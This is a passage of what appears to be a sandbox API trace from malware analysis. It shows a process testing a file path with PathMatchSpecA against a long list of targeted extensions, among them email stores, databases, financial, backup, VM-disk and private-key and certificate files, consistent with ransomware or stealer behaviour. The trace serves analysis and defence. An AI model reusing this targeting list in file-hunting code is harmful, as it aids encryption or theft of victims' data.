vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qbm") returned 0 [0091.911] lstrlenA (lpString="*.qbm") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qbo") returned 0 [0091.911] lstrlenA (lpString="*.qbo") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qbx") returned 0 [0091.911] lstrlenA (lpString="*.qbx") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qba") returned 0 [0091.911] lstrlenA (lpString="*.qba") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qby") returned 0 [0091.911] lstrlenA (lpString="*.qby") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qbj") returned 0 [0091.911] lstrlenA (lpString="*.qbj") returned 5 [0091.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.ofx") returned 0 [0091.912] lstrlenA (lpString="*.ofx") returned 5 [0091.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.qif") returned 0 [0091.912] lstrlenA (lpString="*.qif") returned 5 [0091.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mye") returned 0 [0091.912] lstrlenA (lpString="*.mye") returned 5 [0091.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mbox") returned 0 [0091.912] lstrlenA (lpString="*.mbox") returned 6 [0091.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.eml") returned 0 [0091.912] lstrlenA (lpString="*.eml") returned 5 [0091.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.pst") returned 0 [0091.913] lstrlenA (lpString="*.pst") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.ost") returned 0 [0091.913] lstrlenA (lpString="*.ost") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.idx") returned 0 [0091.913] lstrlenA (lpString="*.idx") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.dbx") returned 0 [0091.913] lstrlenA (lpString="*.dbx") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.sql") returned 0 [0091.913] lstrlenA (lpString="*.sql") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mdb") returned 0 [0091.913] lstrlenA (lpString="*.mdb") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.fdb") returned 0 [0091.913] lstrlenA (lpString="*.fdb") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.wab") returned 0 [0091.913] lstrlenA (lpString="*.wab") returned 5 [0091.913] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.dat") returned 0 [0091.914] lstrlenA (lpString="*.dat") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.txt") returned 0 [0091.914] lstrlenA (lpString="*.txt") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.jpeg") returned 0 [0091.914] lstrlenA (lpString="*.jpeg") returned 6 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.jpg") returned 0 [0091.914] lstrlenA (lpString="*.jpg") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.png") returned 0 [0091.914] lstrlenA (lpString="*.png") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.php") returned 0 [0091.914] lstrlenA (lpString="*.php") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.cs") returned 0 [0091.914] lstrlenA (lpString="*.cs") returned 4 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.cpp") returned 0 [0091.914] lstrlenA (lpString="*.cpp") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.rar") returned 0 [0091.914] lstrlenA (lpString="*.rar") returned 5 [0091.914] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.zip") returned 0 [0091.915] lstrlenA (lpString="*.zip") returned 5 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.html") returned 0 [0091.915] lstrlenA (lpString="*.html") returned 6 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.htm") returned 0 [0091.915] lstrlenA (lpString="*.htm") returned 5 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.xlsx") returned 0 [0091.915] lstrlenA (lpString="*.xlsx") returned 6 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.xls") returned 0 [0091.915] lstrlenA (lpString="*.xls") returned 5 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mp4") returned 0 [0091.915] lstrlenA (lpString="*.mp4") returned 5 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.ppt") returned 0 [0091.915] lstrlenA (lpString="*.ppt") returned 5 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.pptx") returned 0 [0091.915] lstrlenA (lpString="*.pptx") returned 6 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.doc") returned 0 [0091.915] lstrlenA (lpString="*.doc") returned 5 [0091.915] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.dot") returned 0 [0091.916] lstrlenA (lpString="*.dot") returned 5 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.docx") returned 0 [0091.916] lstrlenA (lpString="*.docx") returned 6 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.7z") returned 0 [0091.916] lstrlenA (lpString="*.7z") returned 4 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.tar") returned 0 [0091.916] lstrlenA (lpString="*.tar") returned 5 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.bz2") returned 0 [0091.916] lstrlenA (lpString="*.bz2") returned 5 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.gz") returned 0 [0091.916] lstrlenA (lpString="*.gz") returned 4 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mkv") returned 0 [0091.916] lstrlenA (lpString="*.mkv") returned 5 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.eml") returned 0 [0091.916] lstrlenA (lpString="*.eml") returned 5 [0091.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.msg") returned 0 [0091.916] lstrlenA (lpString="*.msg") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.edb") returned 0 [0091.917] lstrlenA (lpString="*.edb") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.accdb") returned 0 [0091.917] lstrlenA (lpString="*.accdb") returned 7 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.odb") returned 0 [0091.917] lstrlenA (lpString="*.odb") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.java") returned 0 [0091.917] lstrlenA (lpString="*.java") returned 6 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.asm") returned 0 [0091.917] lstrlenA (lpString="*.asm") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.pfx") returned 0 [0091.917] lstrlenA (lpString="*.pfx") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.pem") returned 0 [0091.917] lstrlenA (lpString="*.pem") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.p12") returned 0 [0091.917] lstrlenA (lpString="*.p12") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.gpg") returned 0 [0091.917] lstrlenA (lpString="*.gpg") returned 5 [0091.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.vsd") returned 0 [0091.917] lstrlenA (lpString="*.vsd") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.odg") returned 0 [0091.918] lstrlenA (lpString="*.odg") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.raw") returned 0 [0091.918] lstrlenA (lpString="*.raw") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.nef") returned 0 [0091.918] lstrlenA (lpString="*.nef") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.svg") returned 0 [0091.918] lstrlenA (lpString="*.svg") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.psd") returned 0 [0091.918] lstrlenA (lpString="*.psd") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.vmx") returned 0 [0091.918] lstrlenA (lpString="*.vmx") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.vmdk") returned 0 [0091.918] lstrlenA (lpString="*.vmdk") returned 6 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.vdi") returned 0 [0091.918] lstrlenA (lpString="*.vdi") returned 5 [0091.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.lay6") returned 0 [0091.918] lstrlenA (lpString="*.lay6") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mpeg") returned 0 [0091.919] lstrlenA (lpString="*.mpeg") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.djvu") returned 0 [0091.919] lstrlenA (lpString="*.djvu") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.tiff") returned 0 [0091.919] lstrlenA (lpString="*.tiff") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.backup") returned 0 [0091.919] lstrlenA (lpString="*.backup") returned 8 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.pdf") returned 0 [0091.919] lstrlenA (lpString="*.pdf") returned 5 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.cert") returned 0 [0091.919] lstrlenA (lpString="*.cert") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.docm") returned 0 [0091.919] lstrlenA (lpString="*.docm") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.xlsm") returned 0 [0091.919] lstrlenA (lpString="*.xlsm") returned 6 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.dwg") returned 0 [0091.919] lstrlenA (lpString="*.dwg") returned 5 [0091.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.nd") returned 0 [0091.920] lstrlenA (lpString="*.nd") returned 4 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.tlg") returned 0 [0091.920] lstrlenA (lpString="*.tlg") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.lgb") returned 0 [0091.920] lstrlenA (lpString="*.lgb") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mov") returned 0 [0091.920] lstrlenA (lpString="*.mov") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.xdw") returned 0 [0091.920] lstrlenA (lpString="*.xdw") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.ods") returned 0 [0091.920] lstrlenA (lpString="*.ods") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.wav") returned 0 [0091.920] lstrlenA (lpString="*.wav") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.mp3") returned 0 [0091.920] lstrlenA (lpString="*.mp3") returned 5 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.aiff") returned 0 [0091.920] lstrlenA (lpString="*.aiff") returned 6 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.flac") returned 0 [0091.920] lstrlenA (lpString="*.flac") returned 6 [0091.920] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", pszSpec="*.m4a") returned 0 [0091.921] lstrlenA (lpString="*.m4a") returned 5 [0091.921] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\rKpaiYK vA3eVdCPK.flv", 